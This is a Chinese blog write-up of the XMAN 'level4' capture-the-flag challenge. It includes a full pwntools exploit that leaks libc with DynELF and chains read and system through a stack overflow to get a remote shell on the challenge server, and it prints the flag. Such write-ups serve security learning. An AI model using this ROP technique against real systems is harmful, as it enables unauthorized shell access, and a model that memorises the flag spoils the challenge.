[XMAN] level4
首先checksec,信息如下
[*] ‘/root/Desktop/bin/pwn/xman-level4/level4‘
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
没开栈保护,于是考虑栈溢出。
刚做完stack(ret2libc),看到这题直接就想到泄露libc版本,一开始尝试和stack一样的做法,即泄露read和write函数的地址从而找到远程libc的版本,但是试了一发发现找不到libc版本。。。
然后就用DynELF,得到system的真实地址。用read函数将‘/bin/sh\x00‘写入bss段,然后通过三次pop调用system函数,参数使用bss地址,即system(‘/bin/sh‘)。
exp如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"
#io = process(‘./level4‘)
io = remote(‘pwn2.jarvisoj.com‘, 9880)
elf = ELF(‘./level4‘)
#libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)
#get_system_addr
write_plt = elf.plt[‘write‘]
write_got = elf.got[‘write‘]
main_addr = elf.symbols[‘main‘]
def leak(address):
payload = flat([‘a‘*0x88+‘f**k‘, write_plt, main_addr, 1, address, 4])
io.sendline(payload)
data = io.recv(4)
return data
dynelf = DynELF(leak, elf=ELF(‘./level4‘))
sys_addr = dynelf.lookup(‘system‘, ‘libc‘)
print ‘system_addr:‘, hex(sys_addr)
#get_the_shell
bss_addr = 0x0804A024
read_plt = elf.plt[‘read‘]
#ROPgadget --binary level4 --only "pop|ret"
ppp_addr = 0x08048509
payload = flat([‘a‘*0x88+‘f**k‘, read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, 0xdeadbeef, bss_addr ])
io.sendline(payload)
io.sendline(‘/bin/sh\x00‘)
io.interactive()
#flag:CTF{882130cf51d65fb705440b218e94e98e}
作者: LB919
出处:http://www.cnblogs.com/L1B0/
如有转载,荣幸之至!请随手标明出处;